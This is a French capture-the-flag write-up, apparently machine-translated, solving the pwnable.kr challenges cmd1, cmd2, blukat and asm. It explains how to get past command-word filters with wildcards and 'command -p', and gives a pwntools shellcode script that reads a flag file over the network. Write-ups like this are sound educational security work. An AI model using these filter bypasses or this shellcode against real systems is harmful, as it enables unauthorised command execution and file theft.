Solution de la tâche avec pwnable.kr cmd1, cmd2, asm, blukat. Filtrage bypass sous Linux. Écrire un shellcode avec pwntools

image

Dans cet article, nous allons voir comment contourner un filtre léger, comprendre comment écrire un shell à l'aide de pwntools et résoudre également plusieurs tâches à partir du site pwnable.kr .

Information organisationnelle
Surtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:

  • PWN;
  • cryptographie (Crypto);
  • technologies de réseau (réseau);
  • reverse (Reverse Engineering);
  • stéganographie (Stegano);
  • recherche et exploitation des vulnérabilités WEB.

En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.

Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une chaîne dans Telegram et un groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations personnelles et répondrai à tout le monde .

Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.

Solution de la tâche cmd1


Nous cliquons sur l'icône avec la signature cmd1, et on nous dit que nous devons nous connecter via SSH avec le mot de passe guest.

image

Une fois connecté, nous voyons la bannière correspondante.

image

Voyons quels fichiers se trouvent sur le serveur, ainsi que les droits dont nous disposons.

image

Regardons le code source.

image

Tout est très simple: on passe la commande au programme et il l'exécute sur la ligne de commande, mais filtre d'abord les mots flag, sh, tmp. Filtre le drapeau, mais pas le fla *.

image

Nous remettons le drapeau et obtenons un point de plus.

Solution de la tâche cmd2


Nous cliquons sur l'icône avec la signature cmd2, et on nous dit que nous devons nous connecter via SSH avec le mot de passe pour le travail cmd1.

image

Une fois connecté, nous voyons la bannière correspondante.

image

Voyons quels fichiers se trouvent sur le serveur, ainsi que les droits dont nous disposons.

image

Regardons le code source.

image

Il ressemble à cmd1, mais un filtre plus complexe. Filtre à nouveau le drapeau, mais ne filtre pas fla *. Tout est compliqué par le filtrage slash, mais nous pouvons exécuter / bin / cat en tant que commande -p cat.

image

Nous remettons le drapeau et obtenons des points.

Solution d'emploi Blukat


Nous cliquons sur l'icône avec la signature blukat, et on nous dit que nous devons nous connecter via SSH avec le mot de passe guest.

image

Une fois connecté, nous voyons la bannière correspondante.

image

Voyons quels fichiers se trouvent sur le serveur, ainsi que les droits dont nous disposons.

image

Regardons le code source.

image

Ainsi, un fichier avec un mot de passe est ouvert ici, se dispute avec la clé et affiche un drapeau. Voici juste un fichier avec un mot de passe si vous lisez un fichier avec un mot de passe, il nous affiche le texte d'erreur. En fait, l'erreur est le mot de passe ... Le fichier étant lisible par le groupe, nous sommes dans ce groupe.

image

image

Nous remettons le drapeau et obtenons trois points.

Asm job solution


Nous cliquons sur l'icône avec la signature asm, et on nous dit que nous devons nous connecter via SSH avec le mot de passe guest.

image

Une fois connecté, nous voyons la bannière correspondante.

image

Voyons quels fichiers se trouvent sur le serveur, ainsi que les droits dont nous disposons.

image

Ils nous ont laissé un readme, lisez-le.

image

Par conséquent, nous devons envoyer un shellcode qui lit le fichier indicateur au port 9026.

image

Super. Nous utilisons pwntools, nous définissons des paramètres de connexion et d'architecture.

from pwn import * r = remote('pwnable.kr', 9026) context.arch = 'amd64' r.interactive() 

Pour compiler le shell, nous utiliserons le module shellcraft. Comment le shellcode fonctionnera:

  1. Nous avons mis sur la pile une ligne - le nom du fichier.
  2. Ouvrez le fichier avec le nom en haut de la pile (registre rsp).
  3. Puisque la fonction open retournera le descripteur de fichier ouvert dans le registre rax - le premier paramètre à lire, nous lirons 64 octets sur la pile, donc le registre rsp sera le deuxième paramètre.
  4. Maintenant, nous écrivons sur la sortie standard (descripteur 1) un drapeau qui se trouve au sommet de la pile (registre rsp).
  5. Nous récupérons notre coquille et expédions.

 from pwn import * r = remote('pwnable.kr', 9026) context.arch = 'amd64' payload = shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong') payload += shellcraft.open('rsp', 0, 0) payload += shellcraft.read('rax', 'rsp', 64) payload += shellcraft.write(1,'rsp', 64) shell = asm(payload) r.send(shell) r.interactive() 

image

Nous remettons le drapeau et obtenons 6 points. Rendez-vous dans le prochain article, où nous examinerons la vulnérabilité complexe Use After Free.

Nous sommes dans un canal de télégramme: un canal dans Telegram .

Source: https://habr.com/ru/post/fr462091/


All Articles